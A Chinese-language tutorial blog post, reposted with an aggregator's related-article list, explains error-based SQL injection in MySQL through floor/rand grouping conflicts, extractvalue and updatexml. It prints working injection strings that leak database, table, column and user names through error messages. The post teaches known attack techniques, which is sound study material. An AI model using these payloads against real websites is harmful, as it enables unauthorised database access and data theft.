【1.0版】【MYSQL安全】sql注入系列:基于报错的 SQL 盲注

news/2024/11/15 6:54:31/文章来源:https://www.cnblogs.com/o-O-oO/p/18353486

主题

sql注入:基于报错的 SQL 盲注

一、Floor报错注入1.1 floor 函数1.2 rand函数 1.3 count(*) 1.4 floor函数实际利用二、extractvalue函数三、updatexml函数:同extractvalue
本来网页是不显示信息的,但是我们可以构造 payload 让信息通过错误提示回显出来

一、Floor报错注入

首先介绍几个函数

1.1 floor 函数:向下取整

1.2 rand函数:随机产生0-1之前的随机数

但是如果给他传入一个固定参数,他就会产生一个伪随机数,并且数字不变这个随机数就一直不变

当我们乘2之后要不大于1要不小于1,所以floor得出的结果要不是0要不是1

1.3 count(*) :返回group分组之后的行的数量

当我们输入这条命令

select count(*),floor(rand(0)*2) x from users group by x;

如果加上database()

select count(*),concat(database(),floor(rand(0)*2)) x from users group by x;

我们发现爆出了数据库:cms

【原理分析】 ,见Mysql报错注入之floor(rand(0)*2)报错原理探究

主要原因count(*)建立虚表计算数量时,因为计算时的rand和插入时的rand数值不同而引起的主键冲突从而报错,我们将数据库的名连接,于是就会把数据库名爆出来(本质上报的是冲突的主键名)

1.4 floor函数实际利用

# 爆出当前数据库
?id=1' and (select 1 from (select concat((select database()),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23

# 爆出所有的数据库 通过limit来控制
?id=1' and (select 1 from (select concat((select schema_name from information_schema.schemata limit 4,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23

# 爆出表名
?id=1' and (select 1 from (select concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
# 爆出字段
?id=1' and (select 1 from (select concat((select column_name from information_schema.columns where table_name='user' limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
# 爆出数据
?id=1' and (select 1 from (select concat((select username from users),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23

我们可以控制where之后的语句 加上一个and 即可运行
同理ceil函数其实也是取整数,和floor函数效果是一样的

二、extractvalue函数

extractvalue():从目标XML中返回包含所查询值的字符串。

EXTRACTVALUE (XML_document, XPath_string);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
concat:返回结果为连接参数产生的字符串。

#payload:
and extractvalue(null,concat(0x7e,(select @@datadir),0x7e));

第一个参数随便输入,我们需要的是第二个参数 因为0x7e是~的16进制,不符合xpath语法的格式,于是会把我们查询的给报错报出来

三、updatexml函数:同extractvalue

payload】:

updatexml(1,concat(0x7e,database()),0)

当然报错注入的函数不止这几个,这只是几个最常用的,大家有兴趣可以找一下其他的

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/781295.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CISC和RISC

CISC的特点RISC的特点CISC和RISC的比较如何分辨CISC和RISCCISC的指令不定长,RISC的指令都是定长的 RISC中只有Load\Store类指令可以访问主存

P1502 窗口的星星 题解

题目传送门。 思路 扫描线 扫描线 首先,将题目中给出的条件和问题进行转化: 首先先不考虑边框上的点不算在内的限制,考虑一个点可以对那些矩形产生贡献。 只考虑矩形的右上角,容易发现,每个星星的亮度只对右上角在以星星为左下角的长为 \(W\),高为 \(H\)的矩形有贡献。 如…

bugbountyhunter scope BARKER:第7滴血 存储型 XSS 编码测试和多处引用 报告

注册后,来到UI Display Name处直接点击更新之后,发现反射值的存在尝试一些编码,发现没有任何转换。编码测试更简单,语义一把梭:比如各种华丽花哨的编码到落地并没有被还原成 <>"等语义,此处没有漏洞 https://github.com/swisskyrepo/PayloadsAllTheThings/tre…

centos7中安装了centos-release-scl后,之前的yum源变为不可用 解决方案

centos7中安装了centos-release-scl后,之前的yum源变为不可用 解决方案 1. 前言 今天遇到了一个奇奇怪怪的事情,我自己在自己的服务器(centos7)上安装了centos-release-scl后,之前运行正常的yum命令竟然变得不可用。 2. 场景重现 执行下面这条命令后,再次使用yum报错。 yum …

grpc-gateway:grpc转换为http协议对外提供服务

使用grpc的优点很多,二进制的数据可以加快传输速度,基于http2的多路复用可以减少服务之间的连接次数,和函数一样的调用方式也有效的提升了开发效率。 不过使用grpc也会面临一个问题,我们的微服务对外一定是要提供Restful接口的,如果内部调用使用grpc,在某些情况下要同时提…

PostgreSQL的查询详解

PostgreSQL的查询详解 1. 表表达式 表表达式计算一个表。该表表达式包含一个 FROM 子句,该子句后面可以根据需要选用 WHERE、GROUP BY 和 HAVING 子句。最简单的表表达式只是引用磁盘上的一个表,一个所谓的基本表,但是我们可以用更复杂的表表达式以多种方法修改或组合基本表…

zabbix采集器

zabbix采集器 环境介绍: 本例中安装zabbix开源软件和postgres,软件版本信息如下:软件 版本zabbix Zabbix6.4.0postgres 14.7zabbix-agent 6.4.17主机信息如下: Red Hat Enterprise Linux Server 7.9 (Maipo)主机名 主机地址 用途zib_server 192.168.101.238 zabbix的服务器…

Mermaid 赋能 VuePress:轻松绘制流程图、时序图,让博客内容更生动

聊聊如何让博客框架 VuePress 显示图表聊聊如何让博客框架 VuePress 显示图表 ‍ 什么是 mermaid 如果你还不了解,可以先看看我的 Markdown 教程——使用 Markdown 画图。 ‍ ‍ ‍ ‍ 安装依赖 相关插件有很多,我这里选择的是 vuepress-plugin-mermaidjs: ‍ npm i vuepres…

240704-物理存储结构

1. 物理存储结构 ​ Postgresql数据库目前不支持裸设备和块设备,在Postgresql数据库中表的数据时存放在一个或者多个物理的数据文件中。而相应的数据文件又分多个固定大小的数据块,数据就放在数据块中。 1.Postgresql数据库中术语 ​ Postgresql数据库与其他数据库不同,对于…

实模式、保护模式和长模式

个人一直对硬件、操作系统等底层技术感兴趣,无奈x86架构实在过于复杂,虽然国内外很多计算机通识教育已经将主要平台迁移至更简单的risc-v,但不可否认,很多优秀的参考资料依旧是基于x86的。当你打开这些资料,一大堆眼花缭乱的新名词直接砸到你脑袋上,什么实模式、保护模式…

Datawhale X 魔搭 2024年AI夏令营第四期AIGC方向 Task01

从零入门AI生图原理&实践是 Datawhale 2024 年 AI 夏令营第四期的学习活动(“AIGC”方向),基于魔搭社区“可图Kolors-LoRA风格故事挑战赛”开展的实践学习——适合想 入门并实践 AIGC文生图、工作流搭建、LoRA微调 的学习者参与学习内容提要:从通过代码实现AI文生图逐渐…

搭建PostgreSQL高可用集群(基于Patroni+Etcd)

搭建PostgreSQL高可用集群(基于Patroni+Etcd) 1.主机环境准备节点名称 主机名 网卡 IP地址 OS 安装软件 角色作用PGSQL1 pgsql1 ens33 192.168.198.162 CentOS7 PostgreSQL、ETCD、Patroni 主数据库PGSQL2 pgsql2 ens33 192.168.198.163 CentOS7 PostgreSQL、ETCD、Patroni 备…